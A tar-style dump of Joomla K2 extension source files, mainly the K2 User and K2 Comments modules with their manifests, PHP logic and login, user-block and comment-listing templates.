					'MAX(' . $db->quoteName('tag_id') . ') AS tag_id',
					' COUNT(*) AS count', 'MAX(t.title) AS title',
					'MAX(' . $db->quoteName('t.access') . ') AS access',
					'MAX(' . $db->quoteName('t.alias') . ') AS alias',
					'MAX(' . $db->quoteName('t.params') . ') AS params',
				)
			)
			->group($db->quoteName(array('tag_id', 'title', 'access', 'alias')))
			->from($db->quoteName('#__contentitem_tag_map', 'm'))
			->where($db->quoteName('t.access') . ' IN (' . $groups . ')');

		// Only return published tags
		$query->where($db->quoteName('t.published') . ' = 1 ');

		// Filter by Parent Tag
		$parentTags = $params->get('parentTag', array());

		if ($parentTags)
		{
			$query->where($db->quoteName('t.parent_id') . ' IN (' . implode(',', $parentTags) . ')');
		}

		// Optionally filter on language
		$language = JComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = JHelperContent::getCurrentLanguage();
			}

			$query->where($db->quoteName('t.language') . ' IN (' . $db->quote($language) . ', ' . $db->quote('*') . ')');
		}

		if ($timeframe !== 'alltime')
		{
			$query->where($db->quoteName('tag_date') . ' > ' . $query->dateAdd($db->quote($nowDate), '-1', strtoupper($timeframe)));
		}

		$query->join('INNER', $db->quoteName('#__tags', 't') . ' ON ' . $db->quoteName('tag_id') . ' = t.id')
		->join('INNER', $db->qn('#__ucm_content', 'c') . ' ON ' . $db->qn('m.core_content_id') . ' = ' . $db->qn('c.core_content_id'));

		$query->where($db->quoteName('m.type_alias') . ' = ' . $db->quoteName('c.core_type_alias'));

		// Only return tags connected to published and authorised items
		$query->where($db->quoteName('c.core_state') . ' = 1')
			->where('(' . $db->quoteName('c.core_access') . ' IN (' . $groups . ') OR ' . $db->quoteName('c.core_access') . ' = 0)')
			->where('(' . $db->quoteName('c.core_publish_up') . ' = ' . $nullDate
				. ' OR ' . $db->quoteName('c.core_publish_up') . ' <= ' . $db->quote($nowDate) . ')')
			->where('(' . $db->quoteName('c.core_publish_down') . ' = ' . $nullDate
				. ' OR  ' . $db->quoteName('c.core_publish_down') . ' >= ' . $db->quote($nowDate) . ')');

		// Set query depending on order_value param
		if ($order_value === 'rand()')
		{
			$query->order($query->Rand());
		}
		else
		{
			$order_value     = $db->quoteName($order_value);
			$order_direction = $params->get('order_direction', 1) ? 'DESC' : 'ASC';

			if ($params->get('order_value', 'title') === 'title')
			{
				$query->setLimit($maximum);
				$query->order('count DESC');
				$equery = $db->getQuery(true)
					->select(
						array(
							'a.tag_id',
							'a.count',
							'a.title',
							'a.access',
							'a.alias',
						)
					)
					->from('(' . (string) $query . ') AS a')
					->order('a.title' . ' ' . $order_direction);

				$query = $equery;
			}
			else
			{
				$query->order($order_value . ' ' . $order_direction);
			}
		}

		$db->setQuery($query, 0, $maximum);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			$results = array();
			JFactory::getApplication()->enqueueMessage($e->getMessage(), 'error');
		}

		return $results;
	}
}
mod_k2_user/mod_k2_user.xml000060400000010354150746170540011720 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 User</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>K2_MOD_K2_USER_DESCRIPTION</description>
    <files>
        <filename module="mod_k2_user">mod_k2_user.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION" />
                <field name="pretext" type="textarea" cols="30" rows="5" default="" label="K2_PRETEXT" description="" />
                <field name="posttext" type="textarea" cols="30" rows="5" label="K2_POSTTEXT" description="" />
                <field name="" type="header" default="K2_OPTIONS_FOR_LOGGED_IN_USERS" label="" description="" />
                <field name="userGreetingText" type="textarea" cols="30" rows="5" label="K2_GREETING_TEXT" description="K2_WRITE_A_CUSTOM_TEXT_TO_DISPLAY_TO_YOUR_USERS_WHEN_THEY_ARE_LOGGED_IN" />
                <field name="name" type="list" default="1" label="K2_DISPLAY_USERNAME_OR_NAME" description="">
                    <option value="0">K2_USERNAME</option>
                    <option value="1">K2_NAME</option>
                </field>
                <field name="userAvatar" type="radio" default="1" label="K2_USER_AVATAR" description="" class="btn-group btn-group-yesno">
                    <option value="0">K2_HIDE</option>
                    <option value="1">K2_SHOW</option>
                </field>
                <field name="userAvatarWidthSelect" type="list" default="custom" label="K2_USER_AVATAR_WIDTH" description="">
                    <option value="inherit">K2_INHERIT_FROM_COMPONENT_PARAMETERS</option>
                    <option value="custom">K2_USE_CUSTOM_WIDTH</option>
                </field>
                <field name="userAvatarWidth" type="text" default="50" size="4" label="K2_CUSTOM_WIDTH_FOR_USER_AVATAR_IN_PX" description="" />
                <field name="" type="header" default="K2_MENU_RENDER_OPTION" label="" description="" />
                <field name="menu" type="menus" default="" label="K2_MENU_TO_RENDER" description="K2_MENU_TO_RENDER_DESC" />
                <field name="" type="header" default="K2_LOGIN_LOGOUT_REDIRECTION" label="" description="" />
                <field name="login" type="menuitem" default="" disable="separator" label="K2_LOGIN_REDIRECTION_URL" description="K2_LOGIN_REDIRECTION_URL_DESCRIPTION">
                	<option value="">K2_NONE_ONSELECTLISTS</option>
                </field>
                <field name="logout" type="menuitem" default="" disable="separator" label="K2_LOGOUT_REDIRECTION_URL" description="K2_LOGOUT_REDIRECTION_URL_DESCRIPTION">
                	<option value="">K2_NONE_ONSELECTLISTS</option>
                </field>
                <field name="usesecure" type="radio" default="0" label="K2_ENCRYPT_LOGIN_FORM" description="K2_SUBMIT_ENCRYPTED_LOGIN_DATA_REQUIRES_SSL" class="btn-group btn-group-yesno">
                    <option value="0">K2_NO</option>
                    <option value="1">K2_YES</option>
                </field>
            </fieldset>
            <fieldset name="advanced">
                <field name="cache" type="list" default="0" label="K2_CACHING" description="K2_SELECT_WHETHER_TO_CACHE_THE_CONTENT_OF_THIS_MODULE">
                    <option value="1">K2_USE_GLOBAL</option>
                    <option value="0">K2_NO_CACHING</option>
                </field>
                <field name="cache_time" type="text" default="900" label="K2_CACHE_TIME" description="K2_THE_TIME_IN_SECONDS_BEFORE_THE_MODULE_IS_RECACHED" />
            </fieldset>
        </fields>
    </config>
</extension>
mod_k2_user/mod_k2_user.php000060400000007273150746170540011715 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
    require_once JPATH_SITE.'/components/com_users/helpers/route.php';
}

require_once(dirname(__FILE__).'/helper.php');

$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$userGreetingText = $params->get('userGreetingText', '');
$userAvatarWidthSelect = $params->get('userAvatarWidthSelect', 'custom');
$userAvatarWidth = $params->get('userAvatarWidth', 50);

// Legacy params
$greeting = 0;

$type = modK2UserHelper::getType();
$return = modK2UserHelper::getReturnURL($params, $type);
$user = JFactory::getUser();

$componentParams = JComponentHelper::getParams('com_k2');
$K2CommentsEnabled = $componentParams->get('comments');

// User avatar
if ($userAvatarWidthSelect == 'inherit') {
    $avatarWidth = $componentParams->get('userImageWidth');
} else {
    $avatarWidth = $userAvatarWidth;
}

// Load the right template
if ($user->guest) {
    // OpenID stuff (do not edit)
    if (JPluginHelper::isEnabled('authentication', 'openid')) {
        $lang->load('plg_authentication_openid', JPATH_ADMINISTRATOR);
        $document = JFactory::getDocument();
        $document->addScriptDeclaration("
			var JLanguage = {};
			JLanguage.WHAT_IS_OPENID = '".JText::_('K2_WHAT_IS_OPENID')."';
			JLanguage.LOGIN_WITH_OPENID = '".JText::_('K2_LOGIN_WITH_OPENID')."';
			JLanguage.NORMAL_LOGIN = '".JText::_('K2_NORMAL_LOGIN')."';
			var modlogin = 1;
		");
        JHTML::_('script', 'openid.js');
    }

    // Get user stuff (do not edit)
    $usersConfig = JComponentHelper::getParams('com_users');

    // Define some variables depending on Joomla version
    $passwordFieldName = K2_JVERSION != '15' ? 'password' : 'passwd';
    $resetLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=reset&Itemid='.UsersHelperRoute::getResetRoute() : 'index.php?option=com_user&view=reset');
    $remindLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=remind&Itemid='.UsersHelperRoute::getRemindRoute() : 'index.php?option=com_user&view=remind');
    $registrationLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=registration&Itemid='.UsersHelperRoute::getRegistrationRoute() : 'index.php?option=com_user&view=register');

    $option = K2_JVERSION != '15' ? 'com_users' : 'com_user';
    $task = K2_JVERSION != '15' ? 'user.login' : 'login';

    require(JModuleHelper::getLayoutPath('mod_k2_user', 'login'));
} else {
    $user->profile = modK2UserHelper::getProfile($params);
    $user->numOfComments = modK2UserHelper::countUserComments($user->id);
    $menu = modK2UserHelper::getMenu($params);

    if (is_object($user->profile) && isset($user->profile->addLink)) {
        $addItemLink = $user->profile->addLink;
    }
    $viewProfileLink = JRoute::_(K2HelperRoute::getUserRoute($user->id));
    $editProfileLink = JRoute::_((K2_JVERSION != '15') ? 'index.php?option=com_users&view=profile&layout=edit&Itemid='.UsersHelperRoute::getProfileRoute() : 'index.php?option=com_user&view=user&task=edit');
    $profileLink = $editProfileLink; // B/C
    $editCommentsLink = JRoute::_('index.php?option=com_k2&view=comments&tmpl=component&context=modalselector');

    $option = K2_JVERSION != '15' ? 'com_users' : 'com_user';
    $task = K2_JVERSION != '15' ? 'user.logout' : 'logout';

    require(JModuleHelper::getLayoutPath('mod_k2_user', 'userblock'));
}
mod_k2_user/index.html000060400000000054150746170540010756 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_k2_user/tmpl/login.php000060400000005211150746170540011556 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2LoginBlock<?php if ($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <form action="<?php echo JRoute::_('index.php', true, $params->get('usesecure')); ?>" method="post" name="login" id="form-login">
        <?php if ($params->get('pretext')): ?>
        <p class="preText"><?php echo $params->get('pretext'); ?></p>
        <?php endif; ?>

        <fieldset class="input">
            <p id="form-login-username">
                <label for="modlgn_username"><?php echo JText::_('K2_USERNAME') ?></label>
                <input id="modlgn_username" type="text" name="username" class="inputbox" size="18" />
            </p>
            <p id="form-login-password">
                <label for="modlgn_passwd"><?php echo JText::_('K2_PASSWORD') ?></label>
                <input id="modlgn_passwd" type="password" name="<?php echo $passwordFieldName; ?>" class="inputbox" size="18" />
            </p>
            <?php if (JPluginHelper::isEnabled('system', 'remember')): ?>
            <p id="form-login-remember">
                <label for="modlgn_remember"><?php echo JText::_('K2_REMEMBER_ME') ?></label>
                <input id="modlgn_remember" type="checkbox" name="remember" class="inputbox" value="yes" />
            </p>
            <?php endif; ?>
            <input type="submit" name="Submit" class="button" value="<?php echo JText::_('K2_LOGIN') ?>" />
        </fieldset>

        <ul>
            <li><a href="<?php echo $resetLink; ?>"><?php echo JText::_('K2_FORGOT_YOUR_PASSWORD'); ?></a></li>
            <li><a href="<?php echo $remindLink ?>"><?php echo JText::_('K2_FORGOT_YOUR_USERNAME'); ?></a></li>
            <?php if ($usersConfig->get('allowUserRegistration')): ?>
            <li><a href="<?php echo $registrationLink; ?>"><?php echo JText::_('K2_CREATE_AN_ACCOUNT'); ?></a></li>
            <?php endif; ?>
        </ul>

        <?php if ($params->get('posttext')): ?>
        <p class="postText"><?php echo $params->get('posttext'); ?></p>
        <?php endif; ?>

        <input type="hidden" name="option" value="<?php echo $option; ?>" />
        <input type="hidden" name="task" value="<?php echo $task; ?>" />
        <input type="hidden" name="return" value="<?php echo $return; ?>" />
        <?php echo JHTML::_( 'form.token' ); ?>
    </form>
</div>
mod_k2_user/tmpl/userblock.php000060400000007541150746170540012447 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2UserBlock<?php if ($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php if ($userGreetingText): ?>
    <p class="ubGreeting"><?php echo $userGreetingText; ?></p>
    <?php endif; ?>

    <div class="k2UserBlockDetails">
        <?php if ($params->get('userAvatar')): ?>
        <a class="k2Avatar ubAvatar" href="<?php echo JRoute::_(K2HelperRoute::getUserRoute($user->id)); ?>" title="<?php echo JText::_('K2_MY_PAGE'); ?>">
            <img src="<?php echo K2HelperUtilities::getAvatar($user->id, $user->email); ?>" alt="<?php echo K2HelperUtilities::cleanHtml($user->name); ?>" style="width:<?php echo $avatarWidth; ?>px;height:auto;" />
        </a>
        <?php endif; ?>
        <span class="ubName"><?php echo $user->name; ?></span>
        <span class="ubCommentsCount"><?php echo JText::_('K2_YOU_HAVE'); ?> <b><?php echo $user->numOfComments; ?></b> <?php if ($user->numOfComments==1) echo JText::_('K2_PUBLISHED_COMMENT'); else echo JText::_('K2_PUBLISHED_COMMENTS'); ?></span>
        <div class="clr"></div>
    </div>

    <ul class="k2UserBlockActions">
        <?php if (isset($addItemLink)): ?>
        <li>
            <a data-k2-modal="edit" href="<?php echo $addItemLink; ?>"><?php echo JText::_('K2_ADD_NEW_ITEM'); ?></a>
        </li>
        <?php endif; ?>
        <li>
            <a href="<?php echo $viewProfileLink; ?>"><?php echo JText::_('K2_MY_PAGE'); ?></a>
        </li>
        <li>
            <a href="<?php echo $editProfileLink; ?>"><?php echo JText::_('K2_MY_ACCOUNT'); ?></a>
        </li>
        <?php if ($K2CommentsEnabled): ?>
        <li>
            <a data-k2-modal="iframe" href="<?php echo $editCommentsLink; ?>"><?php echo JText::_('K2_MODERATE_COMMENTS_TO_MY_PUBLISHED_ITEMS'); ?></a>
        </li>
        <?php endif; ?>
    </ul>

    <ul class="k2UserBlockRenderedMenu">
        <?php $level = 1; foreach($menu as $key => $link): $level++; ?>
        <li class="linkItemId<?php echo $link->id; ?>">
            <?php if ($link->type=='url' && $link->browserNav==0): ?>
            <a href="<?php echo $link->route; ?>"><?php echo $link->name; ?></a>
            <?php elseif (strpos($link->link,'option=com_k2&view=item&layout=itemform') || $link->browserNav==2): ?>
            <a data-k2-modal="edit" href="<?php echo $link->route; ?>"><?php echo $link->name; ?></a>
            <?php else: ?>
            <a href="<?php echo $link->route; ?>"<?php if ($link->browserNav==1) echo ' target="_blank"'; ?>><?php echo $link->name; ?></a>
            <?php endif; ?>

            <?php if (isset($menu[$key+1]) && $menu[$key]->level < $menu[$key+1]->level): ?>
            <ul>
            <?php endif; ?>

            <?php if (isset($menu[$key+1]) && $menu[$key]->level > $menu[$key+1]->level): ?>
            <?php echo str_repeat('</li></ul>', $menu[$key]->level - $menu[$key+1]->level); ?>
            <?php endif; ?>

            <?php if (isset($menu[$key+1]) && $menu[$key]->level == $menu[$key+1]->level): ?>
        </li>
        <?php endif; ?>
        <?php endforeach; ?>
    </ul>

    <form action="<?php echo JURI::root(true); ?>/index.php" method="post">
        <input type="submit" name="Submit" class="button ubLogout" value="<?php echo JText::_('K2_LOGOUT'); ?>" />
        <input type="hidden" name="option" value="<?php echo $option; ?>" />
        <input type="hidden" name="task" value="<?php echo $task; ?>" />
        <input type="hidden" name="return" value="<?php echo $return; ?>" />
        <?php echo JHTML::_( 'form.token' ); ?>
    </form>
</div>
mod_k2_user/helper.php000060400000014424150746170540010757 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */
// no direct access
defined('_JEXEC') or die;

JLoader::register('K2HelperRoute', JPATH_SITE.'/components/com_k2/helpers/route.php');
JLoader::register('K2HelperUtilities', JPATH_SITE.'/components/com_k2/helpers/utilities.php');

class modK2UserHelper
{
    public static function getReturnURL($params, $type)
    {
        if ($itemid = $params->get($type)) {
            $application = JFactory::getApplication();
            $menu = $application->getMenu();
            $item = $menu->getItem($itemid);
            if (K2_JVERSION != '15') {
                $url = 'index.php?Itemid=' . $item->id;
            } else {
                $url = JRoute::_($item->link.'&Itemid='.$itemid, false);
            }
        } else {
            // stay on the same page
            $uri = JFactory::getURI();
            $url = $uri->toString(array('path', 'query', 'fragment'));
        }

        return base64_encode($url);
    }

    public static function getType()
    {
        $user = JFactory::getUser();
        return (!$user->get('guest')) ? 'logout' : 'login';
    }

    public static function getProfile(&$params)
    {
        $user = JFactory::getUser();
        $db = JFactory::getDbo();
        $query = "SELECT * FROM #__k2_users WHERE userID=".(int)$user->id;
        $db->setQuery($query, 0, 1);
        $profile = $db->loadObject();

        if ($profile) {
            if ($profile->image != '') {
                $profile->avatar = JURI::root().'media/k2/users/'.$profile->image;
            }
            require_once(JPATH_SITE.'/components/com_k2/helpers/permissions.php');
            if (JRequest::getCmd('option') != 'com_k2') {
                K2HelperPermissions::setPermissions();
            }
            if (K2HelperPermissions::canAddItem()) {
                $profile->addLink = JRoute::_('index.php?option=com_k2&view=item&task=add&tmpl=component&context=modalselector');
            }
            return $profile;
        }
    }

    public static function countUserComments($userID)
    {
        $db = JFactory::getDbo();
        $query = "SELECT COUNT(*) FROM #__k2_comments WHERE userID=".(int)$userID." AND published=1";
        $db->setQuery($query);
        $result = $db->loadResult();
        return $result;
    }

    public static function getMenu($params)
    {
        $items = array();
        $children = array();
        if ($params->get('menu')) {
            $menu = JSite::getMenu();
            $items = $menu->getItems('menutype', $params->get('menu'));
        }
        foreach ($items as $item) {
            if (K2_JVERSION != '15') {
                $item->name = $item->title;
                $item->parent = $item->parent_id;
            }
            $index = $item->parent;
            $list = @$children[$index] ? $children[$index] : array();
            array_push($list, $item);
            $children[$index] = $list;
        }
        if (K2_JVERSION != '15') {
            $items = JHTML::_('menu.treerecurse', 1, '', array(), $children, 9999, 0, 0);
        } else {
            $items = JHTML::_('menu.treerecurse', 0, '', array(), $children, 9999, 0, 0);
        }
        $links = array();
        foreach ($items as $item) {
            if (K2_JVERSION == '15') {
                $item->level = $item->sublevel;
                switch ($item->type) {
                    case 'separator':
                        continue;
                        break;
                    case 'url':
                        if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
                            $item->url = $item->link.'&amp;Itemid='.$item->id;
                        } else {
                            $item->url = $item->link;
                        }
                        break;
                    default:
                        $router = JSite::getRouter();
                        $item->url = $router->getMode() == JROUTER_MODE_SEF ? 'index.php?Itemid='.$item->id : $item->link.'&Itemid='.$item->id;
                        break;
                }
                $iParams = class_exists('JParameter') ? new JParameter($item->params) : new JRegistry($item->params);
                $iSecure = $iParams->def('secure', 0);
                if ($item->home == 1) {
                    $item->url = JURI::base();
                } elseif (strcasecmp(substr($item->url, 0, 4), 'http') && (strpos($item->link, 'index.php?') !== false)) {
                    $item->url = JRoute::_($item->url, true, $iSecure);
                } else {
                    $item->url = str_replace('&', '&amp;', $item->url);
                }
                $item->route = $item->url;
            } else {
                $item->flink = $item->link;
                switch ($item->type) {
                    case 'separator':
                        continue;
                    case 'url':
                        if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false)) {
                            $item->flink = $item->link.'&Itemid='.$item->id;
                        }
                        break;
                    case 'alias':
                        $item->flink = 'index.php?Itemid='.$item->params->get('aliasoptions');
                        break;
                    default:
                        $router = JSite::getRouter();
                        if ($router->getMode() == JROUTER_MODE_SEF) {
                            $item->flink = 'index.php?Itemid='.$item->id;
                        } else {
                            $item->flink .= '&Itemid='.$item->id;
                        }
                        break;
                }
                if (strcasecmp(substr($item->flink, 0, 4), 'http') && (strpos($item->flink, 'index.php?') !== false)) {
                    $item->flink = JRoute::_($item->flink, true, $item->params->get('secure'));
                } else {
                    $item->flink = JRoute::_($item->flink);
                }
                $item->route = $item->flink;
            }
            $links[] = $item;
        }
        return $links;
    }
}
mod_k2_comments/tmpl/commenters.php000060400000004243150746170540013475 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2TopCommentersBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">
    <?php if(count($commenters)): ?>
    <ul>
        <?php foreach ($commenters as $key=>$commenter): ?>
        <li class="<?php echo ($key%2) ? "odd" : "even"; if(count($commenters)==$key+1) echo ' lastItem'; ?>">

            <?php if($commenter->userImage): ?>
            <a class="k2Avatar tcAvatar" rel="author" href="<?php echo $commenter->link; ?>">
                <img src="<?php echo $commenter->userImage; ?>" alt="<?php echo JFilterOutput::cleanText($commenter->userName); ?>" style="width:<?php echo $tcAvatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <?php if($params->get('commenterLink')): ?>
            <a class="tcLink" rel="author" href="<?php echo $commenter->link; ?>">
            <?php endif; ?>

            <span class="tcUsername"><?php echo $commenter->userName; ?></span>

            <?php if($params->get('commenterCommentsCounter')): ?>
            <span class="tcCommentsCounter">(<?php echo $commenter->counter; ?>)</span>
            <?php endif; ?>

            <?php if($params->get('commenterLink')): ?>
            </a>
            <?php endif; ?>

            <?php if($params->get('commenterLatestComment')): ?>
            <a class="tcLatestComment" href="<?php echo $commenter->latestCommentLink; ?>">
                <?php echo $commenter->latestCommentText; ?>
            </a>
            <span class="tcLatestCommentDate"><?php echo JText::_('K2_POSTED_ON'); ?> <?php echo JHTML::_('date', $commenter->latestCommentDate, JText::_('K2_DATE_FORMAT_LC2')); ?></span>
            <?php endif; ?>

            <div class="clr"></div>
        </li>
        <?php endforeach; ?>
        <li class="clearList"></li>
    </ul>
    <?php endif; ?>
</div>
mod_k2_comments/tmpl/comments.php000060400000007000150746170540013140 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

?>

<div id="k2ModuleBox<?php echo $module->id; ?>" class="k2LatestCommentsBlock<?php if($params->get('moduleclass_sfx')) echo ' '.$params->get('moduleclass_sfx'); ?>">

    <?php if(count($comments)): ?>
    <ul>
        <?php foreach ($comments as $key=>$comment):    ?>
        <li class="<?php echo ($key%2) ? "odd" : "even"; if(count($comments)==$key+1) echo ' lastItem'; ?>">
            <?php if($comment->userImage): ?>
            <a class="k2Avatar lcAvatar" href="<?php echo $comment->link; ?>" title="<?php echo K2HelperUtilities::cleanHtml($comment->commentText); ?>">
                <img src="<?php echo $comment->userImage; ?>" alt="<?php echo JFilterOutput::cleanText($comment->userName); ?>" style="width:<?php echo $lcAvatarWidth; ?>px;height:auto;" />
            </a>
            <?php endif; ?>

            <?php if($params->get('commentLink')): ?>
            <a href="<?php echo $comment->link; ?>"><span class="lcComment"><?php echo $comment->commentText; ?></span></a>
            <?php else: ?>
            <span class="lcComment"><?php echo $comment->commentText; ?></span>
            <?php endif; ?>

            <?php if($params->get('commenterName')): ?>
            <span class="lcUsername"><?php echo JText::_('K2_WRITTEN_BY'); ?>
                <?php if(isset($comment->userLink)): ?>
                <a rel="author" href="<?php echo $comment->userLink; ?>"><?php echo $comment->userName; ?></a>
                <?php elseif($comment->commentURL): ?>
                <a target="_blank" rel="nofollow" href="<?php echo $comment->commentURL; ?>"><?php echo $comment->userName; ?></a>
                <?php else: ?>
                <?php echo $comment->userName; ?>
                <?php endif; ?>
            </span>
            <?php endif; ?>

            <?php if($params->get('commentDate')): ?>
            <span class="lcCommentDate">
                <?php if($params->get('commentDateFormat') == 'relative'): ?>
                <?php echo $comment->commentDate; ?>
                <?php else: ?>
                <?php echo JText::_('K2_ON'); ?> <?php echo JHTML::_('date', $comment->commentDate, JText::_('K2_DATE_FORMAT_LC2')); ?>
                <?php endif; ?>
            </span>
            <?php endif; ?>

            <div class="clr"></div>

            <?php if($params->get('itemTitle')): ?>
            <span class="lcItemTitle"><a href="<?php echo $comment->itemLink; ?>"><?php echo $comment->title; ?></a></span>
            <?php endif; ?>

            <?php if($params->get('itemCategory')): ?>
            <span class="lcItemCategory">(<a href="<?php echo $comment->catLink; ?>"><?php echo $comment->categoryname; ?></a>)</span>
            <?php endif; ?>

            <div class="clr"></div>
        </li>
        <?php endforeach; ?>
        <li class="clearList"></li>
    </ul>
    <?php endif; ?>

    <?php if($params->get('feed')): ?>
    <div class="k2FeedIcon">
        <a href="<?php echo JRoute::_('index.php?option=com_k2&view=itemlist&format=feed&moduleID='.$module->id); ?>" title="<?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?>">
            <span><?php echo JText::_('K2_SUBSCRIBE_TO_THIS_RSS_FEED'); ?></span>
        </a>
        <div class="clr"></div>
    </div>
    <?php endif; ?>

</div>
mod_k2_comments/mod_k2_comments.php000060400000003356150746170540013431 0ustar00<?php
/**
 * @version    2.9.x
 * @package    K2
 * @author     JoomlaWorks https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die;

if (K2_JVERSION != '15') {
    $language = JFactory::getLanguage();
    $language->load('com_k2.dates', JPATH_ADMINISTRATOR, null, true);
}

require_once(dirname(__FILE__).'/helper.php');

// Params
$moduleclass_sfx = $params->get('moduleclass_sfx', '');
$module_usage = $params->get('module_usage', '0');

$commentAvatarWidthSelect = $params->get('commentAvatarWidthSelect', 'custom');
$commentAvatarWidth = $params->get('commentAvatarWidth', 50);

$commenterAvatarWidthSelect = $params->get('commenterAvatarWidthSelect', 'custom');
$commenterAvatarWidth = $params->get('commenterAvatarWidth', 50);

// Get component params
$componentParams = JComponentHelper::getParams('com_k2');

// User avatar for latest comments
if ($commentAvatarWidthSelect == 'inherit') {
    $lcAvatarWidth = $componentParams->get('commenterImgWidth');
} else {
    $lcAvatarWidth = $commentAvatarWidth;
}

// User avatar for top commenters
if ($commenterAvatarWidthSelect == 'inherit') {
    $tcAvatarWidth = $componentParams->get('commenterImgWidth');
} else {
    $tcAvatarWidth = $commenterAvatarWidth;
}

switch ($module_usage) {
    case '0':
        $comments = modK2CommentsHelper::getLatestComments($params);
        require(JModuleHelper::getLayoutPath('mod_k2_comments', 'comments'));
        break;

    case '1':
        $commenters = modK2CommentsHelper::getTopCommenters($params);
        require(JModuleHelper::getLayoutPath('mod_k2_comments', 'commenters'));
        break;
}
mod_k2_comments/mod_k2_comments.xml000060400000017464150746170540013447 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" client="site" version="2.5" method="upgrade">
    <name>K2 Comments</name>
    <author>JoomlaWorks</author>
    <creationDate>September 21st, 2018</creationDate>
    <copyright>Copyright (c) 2006 - 2018 JoomlaWorks Ltd. All rights reserved.</copyright>
    <authorEmail>please-use-the-contact-form@joomlaworks.net</authorEmail>
    <authorUrl>www.joomlaworks.net</authorUrl>
    <version>2.9.0</version>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <description>MOD_K2_COMMENTS_DESCRIPTION</description>
    <files>
        <filename module="mod_k2_comments">mod_k2_comments.php</filename>
        <filename>helper.php</filename>
        <folder>tmpl</folder>
    </files>
    <config>
        <fields name="params">
            <fieldset name="basic" addfieldpath="/administrator/components/com_k2/elements/">
                <field name="moduleclass_sfx" type="text" default="" label="K2_MODULE_CLASS_SUFFIX" description="K2_MODULE_CLASS_SUFFIX_DESCRIPTION"/>
                <field name="module_usage" type="list" default="" label="K2_SELECT_MODULE_FUNCTIONALITY" description="K2_SELECT_MODULE_FUNCTIONALITY_DESC">
                    <option value="0">K2_LATEST_COMMENTS</option>
                    <option value="1">K2_TOP_COMMENTERS</option>
                </field>
                <!-- Latest Comments -->
                <field name="" type="header" default="K2_LATEST_COMMENTS" label="" description=""/>
                <field name="catfilter" type="radio" default="0" label="K2_CATEGORY_FILTER" class="btn-group btn-group-yesno-reverse">
                    <option value="0">K2_ALL</option>
                    <option value="1">K2_SELECT</option>
                </field>
